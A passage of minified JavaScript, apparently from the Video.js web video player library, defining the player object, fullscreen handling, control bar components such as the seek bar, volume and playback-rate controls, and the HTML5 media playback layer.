K=0;K<t.D.Za.length;K++)t.D[t.D.Za[K]]=K,t.D.prototype[t.D.Za[K]]=K;for(L=["requestFullscreen exitFullscreen fullscreenElement fullscreenEnabled fullscreenchange fullscreenerror".split(" "),"webkitRequestFullscreen webkitExitFullscreen webkitFullscreenElement webkitFullscreenEnabled webkitfullscreenchange webkitfullscreenerror".split(" "),"webkitRequestFullScreen webkitCancelFullScreen webkitCurrentFullScreenElement webkitCancelFullScreen webkitfullscreenchange webkitfullscreenerror".split(" "),"mozRequestFullScreen mozCancelFullScreen mozFullScreenElement mozFullScreenEnabled mozfullscreenchange mozfullscreenerror".split(" "),"msRequestFullscreen msExitFullscreen msFullscreenElement msFullscreenEnabled MSFullscreenChange MSFullscreenError".split(" ")],M=L[0],O=0;O<L.length;O++)if(L[O][1]in document){N=L[O];break}if(N)for(t.Va.Kb={},O=0;O<N.length;O++)t.Va.Kb[M[O]]=N[O];t.Player=t.a.extend({i:function(e,n,i){var r,o,a,s,c;this.I=e,e.id=e.id||"vjs_video_"+t.q++,this.se=e&&t.Ea(e),n=t.h.z(da(e),n),this.bb=n.language||t.options.language,this.Td=n.languages||t.options.languages,this.F={},this.Pc=n.poster||"",this.Db=!!n.controls,e.controls=l,n.Tc=l,P(this,"audio"===this.I.nodeName.toLowerCase()),t.a.call(this,this,n,i),this.controls()?this.n("vjs-controls-enabled"):this.n("vjs-controls-disabled"),P(this)&&this.n("vjs-audio"),t.Ga[this.K]=this,n.plugins&&t.h.Y(n.plugins,function(e,t){this[e](t)},this),r=t.bind(this,this.reportUserActivity),this.c("mousedown",function(){r(),this.clearInterval(o),o=this.setInterval(r,250)}),this.c("mousemove",function(e){e.screenX==s&&e.screenY==c||(s=e.screenX,c=e.screenY,r())}),this.c("mouseup",function(){r(),this.clearInterval(o)}),this.c("keydown",r),this.c("keyup",r),this.setInterval(function(){if(this.ua){this.ua=l,this.userActive(f),this.clearTimeout(a);var e=this.options().inactivityTimeout;0<e&&(a=this.setTimeout(function(){this.ua||this.userActive(l)},e))}},250)}}),s=t.Player.prototype,s.language=function(e){return e===b?this.bb:(this.bb=e,this)},s.languages=n("Td"),s.m=t.options,s.dispose=function(){this.l("dispose"),this.k("dispose"),t.Ga[this.K]=k,this.I&&this.I.player&&(this.I.player=k),this.b&&this.b.player&&(this.b.player=k),this.o&&this.o.dispose(),t.a.prototype.dispose.call(this)},s.e=function(){var e,n=this.b=t.a.prototype.e.call(this,"div"),i=this.I;if(i.removeAttribute("width"),i.removeAttribute("height"),i.hasChildNodes()){var r,o,a,s;for(o=(r=i.childNodes).length,s=[];o--;)"track"===(a=r[o]).nodeName.toLowerCase()&&s.push(a);for(r=0;r<s.length;r++)i.removeChild(s[r])}return e=t.Ea(i),t.h.Y(e,function(t){"class"==t?n.className=e[t]:n.setAttribute(t,e[t])}),i.id+="_html5_api",i.className="vjs-tech",i.player=n.player=this,this.n("vjs-paused"),this.width(this.m.width,f),this.height(this.m.height,f),i.Md=i.networkState,i.parentNode&&i.parentNode.insertBefore(n,i),t.Nb(i,n),this.b=n,this.c("loadstart",this.Zd),this.c("waiting",this.ee),this.c(["canplay","canplaythrough","playing","ended"],this.de),this.c("seeking",this.be),this.c("seeked",this.ae),this.c("ended",this.Wd),this.c("play",this.Tb),this.c("firstplay",this.Xd),this.c("pause",this.Sb),this.c("progress",this.$d),this.c("durationchange",this.Mc),this.c("fullscreenchange",this.Yd),n},s.Zd=function(){this.error(k),this.paused()?(R(this,l),this.Q("play",function(){R(this,f)})):this.l("firstplay")},s.Fc=l,s.Tb=function(){this.r("vjs-paused"),this.n("vjs-playing")},s.ee=function(){this.n("vjs-waiting")},s.de=function(){this.r("vjs-waiting")},s.be=function(){this.n("vjs-seeking")},s.ae=function(){this.r("vjs-seeking")},s.Xd=function(){this.m.starttime&&this.currentTime(this.m.starttime),this.n("vjs-has-started")},s.Sb=function(){this.r("vjs-playing"),this.n("vjs-paused")},s.$d=function(){1==this.bufferedPercent()&&this.l("loadedalldata")},s.Wd=function(){this.m.loop?(this.currentTime(0),this.play()):this.paused()||this.pause()},s.Mc=function(){var e=S(this,"duration");e&&(0>e&&(e=Infinity),this.duration(e),Infinity===e?this.n("vjs-live"):this.r("vjs-live"))},s.Yd=function(){this.isFullscreen()?this.n("vjs-fullscreen"):this.r("vjs-fullscreen")},s.play=function(){return T(this,"play"),this},s.pause=function(){return T(this,"pause"),this},s.paused=function(){return S(this,"paused")===l?l:f},s.currentTime=function(e){return e!==b?(T(this,"setCurrentTime",e),this):this.F.currentTime=S(this,"currentTime")||0},s.duration=function(e){return e!==b?(this.F.duration=parseFloat(e),this):(this.F.duration===b&&this.Mc(),this.F.duration||0)},s.remainingTime=function(){return this.duration()-this.currentTime()},s.buffered=function(){var e=S(this,"buffered");return e&&e.length||(e=t.Eb(0,0)),e},s.bufferedPercent=function(){var e,t,n=this.duration(),i=this.buffered(),r=0;if(!n)return 0;for(var o=0;o<i.length;o++)e=i.start(o),(t=i.end(o))>n&&(t=n),r+=t-e;return r/n},s.volume=function(e){return e!==b?(e=Math.max(0,Math.min(1,parseFloat(e))),this.F.volume=e,T(this,"setVolume",e),t.je(e),this):(e=parseFloat(S(this,"volume")),isNaN(e)?1:e)},s.muted=function(e){return e!==b?(T(this,"setMuted",e),this):S(this,"muted")||l},s.Ka=function(){return S(this,"supportsFullScreen")||l},s.Ic=l,s.isFullscreen=function(e){return e!==b?(this.Ic=!!e,this):this.Ic},s.isFullScreen=function(e){return t.log.warn('player.isFullScreen() has been deprecated, use player.isFullscreen() with a lowercase "s")'),this.isFullscreen(e)},s.requestFullscreen=function(){var e=t.Va.Kb;return this.isFullscreen(f),e?(t.c(document,e.fullscreenchange,t.bind(this,function(){this.isFullscreen(document[e.fullscreenElement]),this.isFullscreen()===l&&t.k(document,e.fullscreenchange,arguments.callee),this.l("fullscreenchange")})),this.b[e.requestFullscreen]()):this.o.Ka()?T(this,"enterFullScreen"):(this.Bc(),this.l("fullscreenchange")),this},s.requestFullScreen=function(){return t.log.warn('player.requestFullScreen() has been deprecated, use player.requestFullscreen() with a lowercase "s")'),this.requestFullscreen()},s.exitFullscreen=function(){var e=t.Va.Kb;return this.isFullscreen(l),e?document[e.exitFullscreen]():this.o.Ka()?T(this,"exitFullScreen"):(this.Hb(),this.l("fullscreenchange")),this},s.cancelFullScreen=function(){return t.log.warn("player.cancelFullScreen() has been deprecated, use player.exitFullscreen()"),this.exitFullscreen()},s.Bc=function(){this.Od=f,this.Ed=document.documentElement.style.overflow,t.c(document,"keydown",t.bind(this,this.Dc)),document.documentElement.style.overflow="hidden",t.n(document.body,"vjs-full-window"),this.l("enterFullWindow")},s.Dc=function(e){27===e.keyCode&&(this.isFullscreen()===f?this.exitFullscreen():this.Hb())},s.Hb=function(){this.Od=l,t.k(document,"keydown",this.Dc),document.documentElement.style.overflow=this.Ed,t.r(document.body,"vjs-full-window"),this.l("exitFullWindow")},s.selectSource=function(e){for(var n=0,i=this.m.techOrder;n<i.length;n++){var r=t.ba(i[n]),o=window.videojs[r];if(o){if(o.isSupported())for(var a=0,s=e;a<s.length;a++){var c=s[a];if(o.canPlaySource(c))return{source:c,o:r}}}else t.log.error('The "'+r+'" tech is undefined. Skipped browser support check for that tech.')}return l},s.src=function(e){return e===b?S(this,"src"):(t.h.isArray(e)?U(this,e):"string"==typeof e?this.src({src:e}):e instanceof Object&&(e.type&&!window.videojs[this.La].canPlaySource(e)?U(this,[e]):(this.F.src=e.src,this.xc=e.type||"",this.H(function(){window.videojs[this.La].prototype.hasOwnProperty("setSource")?T(this,"setSource",e):T(this,"src",e.src),"auto"==this.m.preload&&this.load(),this.m.autoplay&&this.play()}))),this)},s.load=function(){return T(this,"load"),this},s.currentSrc=function(){return S(this,"currentSrc")||this.F.src||""},s.zd=function(){return this.xc||""},s.Ha=function(e){return e!==b?(T(this,"setPreload",e),this.m.preload=e,this):S(this,"preload")},s.autoplay=function(e){return e!==b?(T(this,"setAutoplay",e),this.m.autoplay=e,this):S(this,"autoplay")},s.loop=function(e){return e!==b?(T(this,"setLoop",e),this.m.loop=e,this):S(this,"loop")},s.poster=function(e){return e===b?this.Pc:(e||(e=""),this.Pc=e,T(this,"setPoster",e),this.l("posterchange"),this)},s.controls=function(e){return e!==b?(e=!!e,this.Db!==e&&((this.Db=e)?(this.r("vjs-controls-disabled"),this.n("vjs-controls-enabled"),this.l("controlsenabled")):(this.r("vjs-controls-enabled"),this.n("vjs-controls-disabled"),this.l("controlsdisabled"))),this):this.Db},t.Player.prototype.Zb,s=t.Player.prototype,s.usingNativeControls=function(e){return e!==b?(e=!!e, this.Zb!==e&&((this.Zb=e)?(this.n("vjs-using-native-controls"),this.l("usingnativecontrols")):(this.r("vjs-using-native-controls"),this.l("usingcustomcontrols"))),this):this.Zb},s.da=k,s.error=function(e){return e===b?this.da:e===k?(this.da=e,this.r("vjs-error"),this):(this.da=e instanceof t.D?e:new t.D(e),this.l("error"),this.n("vjs-error"),t.log.error("(CODE:"+this.da.code+" "+t.D.Za[this.da.code]+")",this.da.message,this.da),this)},s.ended=function(){return S(this,"ended")},s.seeking=function(){return S(this,"seeking")},s.ua=f,s.reportUserActivity=function(){this.ua=f},s.Yb=f,s.userActive=function(e){return e!==b?((e=!!e)!==this.Yb&&((this.Yb=e)?(this.ua=f,this.r("vjs-user-inactive"),this.n("vjs-user-active"),this.l("useractive")):(this.ua=l,this.o&&this.o.Q("mousemove",function(e){e.stopPropagation(),e.preventDefault()}),this.r("vjs-user-active"),this.n("vjs-user-inactive"),this.l("userinactive"))),this):this.Yb},s.playbackRate=function(e){return e!==b?(T(this,"setPlaybackRate",e),this):this.o&&this.o.featuresPlaybackRate?S(this,"playbackRate"):1},s.Hc=l,t.Qa=t.a.extend(),t.Qa.prototype.m={Ie:"play",children:{playToggle:{},currentTimeDisplay:{},timeDivider:{},durationDisplay:{},remainingTimeDisplay:{},liveDisplay:{},progressControl:{},fullscreenToggle:{},volumeControl:{},muteToggle:{},playbackRateMenuButton:{}}},t.Qa.prototype.e=function(){return t.e("div",{className:"vjs-control-bar"})},t.ec=t.a.extend({i:function(e,n){t.a.call(this,e,n)}}),t.ec.prototype.e=function(){var e=t.a.prototype.e.call(this,"div",{className:"vjs-live-controls vjs-control"});return this.v=t.e("div",{className:"vjs-live-display",innerHTML:'<span class="vjs-control-text">'+this.t("Stream Type")+"</span>"+this.t("LIVE"),"aria-live":"off"}),e.appendChild(this.v),e},t.hc=t.u.extend({i:function(e,n){t.u.call(this,e,n),this.c(e,"play",this.Tb),this.c(e,"pause",this.Sb)}}),s=t.hc.prototype,s.la="Play",s.S=function(){return"vjs-play-control "+t.u.prototype.S.call(this)},s.s=function(){this.d.paused()?this.d.play():this.d.pause()},s.Tb=function(){this.r("vjs-paused"),this.n("vjs-playing"),this.b.children[0].children[0].innerHTML=this.t("Pause")},s.Sb=function(){this.r("vjs-playing"),this.n("vjs-paused"),this.b.children[0].children[0].innerHTML=this.t("Play")},t.nb=t.a.extend({i:function(e,n){t.a.call(this,e,n),this.c(e,"timeupdate",this.ia)}}),t.nb.prototype.e=function(){var e=t.a.prototype.e.call(this,"div",{className:"vjs-current-time vjs-time-controls vjs-control"});return this.v=t.e("div",{className:"vjs-current-time-display",innerHTML:'<span class="vjs-control-text">Current Time </span>0:00',"aria-live":"off"}),e.appendChild(this.v),e},t.nb.prototype.ia=function(){var e=this.d.ib?this.d.F.currentTime:this.d.currentTime();this.v.innerHTML='<span class="vjs-control-text">'+this.t("Current Time")+"</span> "+t.Da(e,this.d.duration())},t.ob=t.a.extend({i:function(e,n){t.a.call(this,e,n),this.c(e,"timeupdate",this.ia)}}),t.ob.prototype.e=function(){var e=t.a.prototype.e.call(this,"div",{className:"vjs-duration vjs-time-controls vjs-control"});return this.v=t.e("div",{className:"vjs-duration-display",innerHTML:'<span class="vjs-control-text">'+this.t("Duration Time")+"</span> 0:00","aria-live":"off"}),e.appendChild(this.v),e},t.ob.prototype.ia=function(){var e=this.d.duration();e&&(this.v.innerHTML='<span class="vjs-control-text">'+this.t("Duration Time")+"</span> "+t.Da(e))},t.nc=t.a.extend({i:function(e,n){t.a.call(this,e,n)}}),t.nc.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-time-divider",innerHTML:"<div><span>/</span></div>"})},t.vb=t.a.extend({i:function(e,n){t.a.call(this,e,n),this.c(e,"timeupdate",this.ia)}}),t.vb.prototype.e=function(){var e=t.a.prototype.e.call(this,"div",{className:"vjs-remaining-time vjs-time-controls vjs-control"});return this.v=t.e("div",{className:"vjs-remaining-time-display",innerHTML:'<span class="vjs-control-text">'+this.t("Remaining Time")+"</span> -0:00","aria-live":"off"}),e.appendChild(this.v),e},t.vb.prototype.ia=function(){this.d.duration()&&(this.v.innerHTML='<span class="vjs-control-text">'+this.t("Remaining Time")+"</span> -"+t.Da(this.d.remainingTime()))},t.Ra=t.u.extend({i:function(e,n){t.u.call(this,e,n)}}),t.Ra.prototype.la="Fullscreen",t.Ra.prototype.S=function(){return"vjs-fullscreen-control "+t.u.prototype.S.call(this)},t.Ra.prototype.s=function(){this.d.isFullscreen()?(this.d.exitFullscreen(),this.Cb.innerHTML=this.t("Fullscreen")):(this.d.requestFullscreen(),this.Cb.innerHTML=this.t("Non-Fullscreen"))},t.ub=t.a.extend({i:function(e,n){t.a.call(this,e,n)}}),t.ub.prototype.m={children:{seekBar:{}}},t.ub.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-progress-control vjs-control"})},t.kc=t.R.extend({i:function(e,n){t.R.call(this,e,n),this.c(e,"timeupdate",this.ta),e.H(t.bind(this,this.ta))}}),s=t.kc.prototype,s.m={children:{loadProgressBar:{},playProgressBar:{},seekHandle:{}},barName:"playProgressBar",handleName:"seekHandle"},s.Oc="timeupdate",s.e=function(){return t.R.prototype.e.call(this,"div",{className:"vjs-progress-holder","aria-label":"video progress bar"})},s.ta=function(){var e=this.d.ib?this.d.F.currentTime:this.d.currentTime();this.b.setAttribute("aria-valuenow",t.round(100*this.Lb(),2)),this.b.setAttribute("aria-valuetext",t.Da(e,this.d.duration()))},s.Lb=function(){return this.d.currentTime()/this.d.duration()},s.gb=function(e){t.R.prototype.gb.call(this,e),this.d.ib=f,this.xe=!this.d.paused(),this.d.pause()},s.fa=function(e){(e=H(this,e)*this.d.duration())==this.d.duration()&&(e-=.1),this.d.currentTime(e)},s.ra=function(e){t.R.prototype.ra.call(this,e),this.d.ib=l,this.xe&&this.d.play()},s.Zc=function(){this.d.currentTime(this.d.currentTime()+5)},s.Yc=function(){this.d.currentTime(this.d.currentTime()-5)},t.rb=t.a.extend({i:function(e,n){t.a.call(this,e,n),this.c(e,"progress",this.update)}}),t.rb.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-load-progress",innerHTML:'<span class="vjs-control-text"><span>'+this.t("Loaded")+"</span>: 0%</span>"})},t.rb.prototype.update=function(){var e,n,i,r,o=this.d.buffered();e=this.d.duration();var a,s=this.d;for(a=s.buffered(),s=s.duration(),(a=a.end(a.length-1))>s&&(a=s),s=this.b.children,this.b.style.width=100*(a/e||0)+"%",e=0;e<o.length;e++)n=o.start(e),i=o.end(e),(r=s[e])||(r=this.b.appendChild(t.e())),r.style.left=100*(n/a||0)+"%",r.style.width=100*((i-n)/a||0)+"%";for(e=s.length;e>o.length;e--)this.b.removeChild(s[e-1])},t.gc=t.a.extend({i:function(e,n){t.a.call(this,e,n)}}),t.gc.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-play-progress",innerHTML:'<span class="vjs-control-text"><span>'+this.t("Progress")+"</span>: 0%</span>"})},t.Sa=t.$.extend({i:function(e,n){t.$.call(this,e,n),this.c(e,"timeupdate",this.ia)}}),t.Sa.prototype.defaultValue="00:00",t.Sa.prototype.e=function(){return t.$.prototype.e.call(this,"div",{className:"vjs-seek-handle","aria-live":"off"})},t.Sa.prototype.ia=function(){var e=this.d.ib?this.d.F.currentTime:this.d.currentTime();this.b.innerHTML='<span class="vjs-control-text">'+t.Da(e,this.d.duration())+"</span>"},t.yb=t.a.extend({i:function(e,n){t.a.call(this,e,n),e.o&&e.o.featuresVolumeControl===l&&this.n("vjs-hidden"),this.c(e,"loadstart",function(){e.o.featuresVolumeControl===l?this.n("vjs-hidden"):this.r("vjs-hidden")})}}),t.yb.prototype.m={children:{volumeBar:{}}},t.yb.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-volume-control vjs-control"})},t.xb=t.R.extend({i:function(e,n){t.R.call(this,e,n),this.c(e,"volumechange",this.ta),e.H(t.bind(this,this.ta))}}),s=t.xb.prototype,s.ta=function(){this.b.setAttribute("aria-valuenow",t.round(100*this.d.volume(),2)),this.b.setAttribute("aria-valuetext",t.round(100*this.d.volume(),2)+"%")},s.m={children:{volumeLevel:{},volumeHandle:{}},barName:"volumeLevel",handleName:"volumeHandle"},s.Oc="volumechange",s.e=function(){return t.R.prototype.e.call(this,"div",{className:"vjs-volume-bar","aria-label":"volume level"})},s.fa=function(e){this.d.muted()&&this.d.muted(l),this.d.volume(H(this,e))},s.Lb=function(){return this.d.muted()?0:this.d.volume()},s.Zc=function(){this.d.volume(this.d.volume()+.1)},s.Yc=function(){this.d.volume(this.d.volume()-.1)},t.oc=t.a.extend({i:function(e,n){t.a.call(this,e,n)}}),t.oc.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-volume-level",innerHTML:'<span class="vjs-control-text"></span>'})},t.zb=t.$.extend(),t.zb.prototype.defaultValue="00:00",t.zb.prototype.e=function(){return t.$.prototype.e.call(this,"div",{className:"vjs-volume-handle"})},t.ka=t.u.extend({i:function(e,n){t.u.call(this,e,n),this.c(e,"volumechange",this.update),e.o&&e.o.featuresVolumeControl===l&&this.n("vjs-hidden"),this.c(e,"loadstart",function(){e.o.featuresVolumeControl===l?this.n("vjs-hidden"):this.r("vjs-hidden")})}}),t.ka.prototype.e=function(){return t.u.prototype.e.call(this,"div",{className:"vjs-mute-control vjs-control",innerHTML:'<div><span class="vjs-control-text">'+this.t("Mute")+"</span></div>"})},t.ka.prototype.s=function(){this.d.muted(this.d.muted()?l:f)},t.ka.prototype.update=function(){var e=this.d.volume(),n=3;for(0===e||this.d.muted()?n=0:.33>e?n=1:.67>e&&(n=2),this.d.muted()?this.b.children[0].children[0].innerHTML!=this.t("Unmute")&&(this.b.children[0].children[0].innerHTML=this.t("Unmute")):this.b.children[0].children[0].innerHTML!=this.t("Mute")&&(this.b.children[0].children[0].innerHTML=this.t("Mute")),e=0;4>e;e++)t.r(this.b,"vjs-vol-"+e);t.n(this.b,"vjs-vol-"+n)},t.wa=t.L.extend({i:function(e,n){t.L.call(this,e,n),this.c(e,"volumechange",this.update),e.o&&e.o.featuresVolumeControl===l&&this.n("vjs-hidden"),this.c(e,"loadstart",function(){e.o.featuresVolumeControl===l?this.n("vjs-hidden"):this.r("vjs-hidden")}),this.n("vjs-menu-button")}}),t.wa.prototype.Aa=function(){var e=new t.ja(this.d,{uc:"div"}),n=new t.xb(this.d,this.m.volumeBar);return n.c("focus",function(){e.n("vjs-lock-showing")}),n.c("blur",function(){E(e)}),e.U(n),e},t.wa.prototype.s=function(){t.ka.prototype.s.call(this),t.L.prototype.s.call(this)},t.wa.prototype.e=function(){return t.u.prototype.e.call(this,"div",{className:"vjs-volume-menu-button vjs-menu-button vjs-control",innerHTML:'<div><span class="vjs-control-text">'+this.t("Mute")+"</span></div>"})},t.wa.prototype.update=t.ka.prototype.update,t.ic=t.L.extend({i:function(e,n){t.L.call(this,e,n),this.cd(),this.bd(),this.c(e,"loadstart",this.cd),this.c(e,"ratechange",this.bd)}}),s=t.ic.prototype,s.la="Playback Rate",s.className="vjs-playback-rate",s.e=function(){var e=t.L.prototype.e.call(this);return this.Kc=t.e("div",{className:"vjs-playback-rate-value",innerHTML:1}),e.appendChild(this.Kc),e},s.Aa=function(){var e=new t.ja(this.j()),n=this.j().options().playbackRates;if(n)for(var i=n.length-1;0<=i;i--)e.U(new t.tb(this.j(),{rate:n[i]+"x"}));return e},s.ta=function(){this.w().setAttribute("aria-valuenow",this.j().playbackRate())},s.s=function(){for(var e=this.j().playbackRate(),t=this.j().options().playbackRates,n=t[0],i=0;i<t.length;i++)if(t[i]>e){n=t[i];break}this.j().playbackRate(n)},s.cd=function(){ea(this)?this.r("vjs-hidden"):this.n("vjs-hidden")},s.bd=function(){ea(this)&&(this.Kc.innerHTML=this.j().playbackRate()+"x")},t.tb=t.J.extend({uc:"button",i:function(e,n){var i=this.label=n.rate,r=this.Rc=parseFloat(i,10);n.label=i,n.selected=1===r,t.J.call(this,e,n),this.c(e,"ratechange",this.update)}}),t.tb.prototype.s=function(){t.J.prototype.s.call(this),this.j().playbackRate(this.Rc)},t.tb.prototype.update=function(){this.selected(this.j().playbackRate()==this.Rc)},t.jc=t.u.extend({i:function(e,n){t.u.call(this,e,n),this.update(),e.c("posterchange",t.bind(this,this.update))}}),s=t.jc.prototype,s.dispose=function(){this.j().k("posterchange",this.update),t.u.prototype.dispose.call(this)},s.e=function(){var e=t.e("div",{className:"vjs-poster",tabIndex:-1});return t.fd||(this.Ib=t.e("img"),e.appendChild(this.Ib)),e},s.update=function(){var e=this.j().poster();this.ga(e),e?this.b.style.display="":this.Z()},s.ga=function(e){var t;this.Ib?this.Ib.src=e:(t="",e&&(t='url("'+e+'")'),this.b.style.backgroundImage=t)},s.s=function(){this.d.play()},t.fc=t.a.extend({i:function(e,n){t.a.call(this,e,n)}}),t.fc.prototype.e=function(){return t.a.prototype.e.call(this,"div",{className:"vjs-loading-spinner"})},t.lb=t.u.extend(),t.lb.prototype.e=function(){return t.u.prototype.e.call(this,"div",{className:"vjs-big-play-button",innerHTML:'<span aria-hidden="true"></span>',"aria-label":"play video"})},t.lb.prototype.s=function(){this.d.play()},t.pb=t.a.extend({i:function(e,n){t.a.call(this,e,n),this.update(),this.c(e,"error",this.update)}}),t.pb.prototype.e=function(){var e=t.a.prototype.e.call(this,"div",{className:"vjs-error-display"});return this.v=t.e("div"),e.appendChild(this.v),e},t.pb.prototype.update=function(){this.j().error()&&(this.v.innerHTML=this.t(this.j().error().message))},t.p=t.a.extend({i:function(e,n,i){var r;(n=n||{}).Tc=l,t.a.call(this,e,n,i),this.featuresProgressEvents||(this.Lc=f,this.Qc=this.setInterval(function(){var e=this.j().bufferedPercent();this.vd!=e&&this.j().l("progress"),this.vd=e,1===e&&this.clearInterval(this.Qc)},500)),this.featuresTimeupdateEvents||(e=this.d,this.Rb=f,this.c(e,"play",this.ad),this.c(e,"pause",this.kb),this.Q("timeupdate",function(){this.featuresTimeupdateEvents=f,fa(this)})),r=this.j(),e=function(){var e;r.controls()&&!r.usingNativeControls()&&(this.c("mousedown",this.s),this.c("touchstart",function(){e=this.d.userActive()}),this.c("touchmove",function(){e&&this.j().reportUserActivity()}),this.c("touchend",function(e){e.preventDefault()}),G(this),this.c("tap",this.ce))},this.H(e),this.c(r,"controlsenabled",e),this.c(r,"controlsdisabled",this.he),this.H(function(){this.networkState&&0<this.networkState()&&this.j().l("loadstart")})}}),s=t.p.prototype,s.he=function(){this.k("tap"),this.k("touchstart"),this.k("touchmove"),this.k("touchleave"),this.k("touchcancel"),this.k("touchend"),this.k("click"),this.k("mousedown")},s.s=function(e){0===e.button&&this.j().controls()&&(this.j().paused()?this.j().play():this.j().pause())},s.ce=function(){this.j().userActive(!this.j().userActive())},s.ad=function(){this.wc&&this.kb(),this.wc=this.setInterval(function(){this.j().l("timeupdate")},250)},s.kb=function(){this.clearInterval(this.wc),this.j().l("timeupdate")},s.dispose=function(){this.Lc&&(this.Lc=l,this.clearInterval(this.Qc)),this.Rb&&fa(this),t.a.prototype.dispose.call(this)},s.Wb=function(){this.Rb&&this.j().l("timeupdate")},s.Vc=m(),t.p.prototype.featuresVolumeControl=f,t.p.prototype.featuresFullscreenResize=l,t.p.prototype.featuresPlaybackRate=l,t.p.prototype.featuresProgressEvents=l,t.p.prototype.featuresTimeupdateEvents=l,t.p.$b=function(e){e.Ia=function(t,n){var i=e.Wc;i||(i=e.Wc=[]),n===b&&(n=i.length),i.splice(n,0,t)},e.jb=function(t){for(var n=e.Wc||[],i=0;i<n.length;i++)if(n[i].Wa(t))return n[i];return k},e.rc=function(t){var n=e.jb(t);return n?n.Wa(t):""},e.prototype.Ja=function(t){var n=e.jb(t);return this.Ba(),this.k("dispose",this.Ba),this.vc=t,this.Xb=n.Mb(t,this),this.c("dispose",this.Ba),this},e.prototype.Ba=function(){this.Xb&&this.Xb.dispose&&this.Xb.dispose()}},t.g=t.p.extend({i:function(e,n,i){for(t.p.call(this,e,n,i),i=t.g.qb.length-1;0<=i;i--)this.c(t.g.qb[i],this.Fd);var r,o,a,s;((n=n.source)&&(this.b.currentSrc!==n.src||e.I&&3===e.I.Md)&&this.Ja(n),t.wb&&e.options().nativeControlsForTouch===f)&&(r=this,n=(o=this.j()).controls(),r.b.controls=!!n,a=function(){r.b.controls=f},s=function(){r.b.controls=l},o.c("controlsenabled",a),o.c("controlsdisabled",s),n=function(){o.k("controlsenabled",a),o.k("controlsdisabled",s)},r.c("dispose",n),o.c("usingcustomcontrols",n),o.usingNativeControls(f));e.H(function(){this.I&&this.m.autoplay&&this.paused()&&(delete this.I.poster,this.play())}),this.Na()}}),s=t.g.prototype,s.dispose=function(){t.g.Gb(this.b),t.p.prototype.dispose.call(this)},s.e=function(){var e,n=this.d,i=n.I;i&&this.movingMediaElementInDOM!==l||(i?(e=i.cloneNode(l),t.g.Gb(i),i=e,n.I=k):(i=t.e("video"),e=videojs.W.pa({},n.se),(!t.wb||n.options().nativeControlsForTouch!==f)&&delete e.controls,t.Uc(i,t.h.z(e,{id:n.id()+"_html5_api","class":"vjs-tech"}))),i.player=n,t.Nb(i,n.w()));for(var r=(e=["autoplay","preload","loop","muted"]).length-1;0<=r;r--){var o=e[r],a={};"undefined"!=typeof n.m[o]&&(a[o]=n.m[o]),t.Uc(i,a)}return i},s.Fd=function(e){"error"==e.type&&this.error()?this.j().error(this.error().code):(e.bubbles=l,this.j().l(e))},s.play=function(){this.b.play()},s.pause=function(){this.b.pause()},s.paused=function(){return this.b.paused},s.currentTime=function(){return this.b.currentTime},s.Wb=function(e){try{this.b.currentTime=e}catch(n){t.log(n,"Video is not ready. (Video.js)")}},s.duration=function(){return this.b.duration||0},s.buffered=function(){return this.b.buffered},s.volume=function(){return this.b.volume},s.oe=function(e){this.b.volume=e},s.muted=function(){return this.b.muted},s.le=function(e){this.b.muted=e},s.width=function(){return this.b.offsetWidth},s.height=function(){return this.b.offsetHeight},s.Ka=function(){return"function"!=typeof this.b.webkitEnterFullScreen||!/Android/.test(t.N)&&/Chrome|Mac OS X 10.5/.test(t.N)?l:f},s.Ac=function(){var e=this.b;"webkitDisplayingFullscreen"in e&&this.Q("webkitbeginfullscreen",function(){this.d.isFullscreen(f),this.Q("webkitendfullscreen",function(){this.d.isFullscreen(l),this.d.l("fullscreenchange")}),this.d.l("fullscreenchange")}),e.paused&&e.networkState<=e.ze?(this.b.play(),this.setTimeout(function(){e.pause(),e.webkitEnterFullScreen()},0)):e.webkitEnterFullScreen()},s.Gd=function(){this.b.webkitExitFullScreen()},s.src=function(e){if(e===b)return this.b.src;this.ga(e)},s.ga=function(e){this.b.src=e},s.load=function(){this.b.load()},s.currentSrc=function(){return this.b.currentSrc},s.poster=function(){return this.b.poster},s.Vc=function(e){this.b.poster=e},s.Ha=function(){return this.b.Ha},s.ne=function(e){this.b.Ha=e},s.autoplay=function(){return this.b.autoplay},s.ie=function(e){this.b.autoplay=e},s.controls=function(){return this.b.controls},s.loop=function(){return this.b.loop},s.ke=function(e){this.b.loop=e},s.error=function(){return this.b.error},s.seeking=function(){return this.b.seeking},s.ended=function(){return this.b.ended},s.playbackRate=function(){return this.b.playbackRate},s.me=function(e){this.b.playbackRate=e},s.networkState=function(){return this.b.networkState},t.g.isSupported=function(){try{t.A.volume=.5}catch(e){return l}return!!t.A.canPlayType},t.p.$b(t.g),t.g.V={},t.g.V.Wa=function(e){function n(e){try{return t.A.canPlayType(e)}catch(n){return""}}return e.type?n(e.type):e.src?n("video/"+(e=(e=e.src.match(/\.([^.\/\?]+)(\?[^\/]+)?$/i))&&e[1])):""},t.g.V.Mb=function(e,t){t.ga(e.src)},t.g.V.dispose=m(),t.g.Ia(t.g.V),t.g.xd=function(){var e=t.A.volume;return t.A.volume=e/2+.1,e!==t.A.volume},t.g.wd=function(){var e=t.A.playbackRate;return t.A.playbackRate=e/2+.1,e!==t.A.playbackRate},t.g.prototype.featuresVolumeControl=t.g.xd(),t.g.prototype.featuresPlaybackRate=t.g.wd(),t.g.prototype.movingMediaElementInDOM=!t.kd,t.g.prototype.featuresFullscreenResize=f,t.g.prototype.featuresProgressEvents=f;var V,ga=/^application\/(?:x-|vnd\.apple\.)mpegurl/i,ha=/^video\/mp4/i;t.g.Nc=function(){4<=t.ac&&(V||(V=t.A.constructor.prototype.canPlayType),t.A.constructor.prototype.canPlayType=function(e){return e&&ga.test(e)?"maybe":V.call(this,e)}),t.od&&(V||(V=t.A.constructor.prototype.canPlayType),t.A.constructor.prototype.canPlayType=function(e){return e&&ha.test(e)?"maybe":V.call(this,e)})},t.g.we=function(){var e=t.A.constructor.prototype.canPlayType;return t.A.constructor.prototype.canPlayType=V,V=k,e},t.g.Nc(),t.g.qb="loadstart suspend abort error emptied stalled loadedmetadata loadeddata canplay canplaythrough playing waiting seeking seeked ended durationchange timeupdate progress play pause ratechange volumechange".split(" 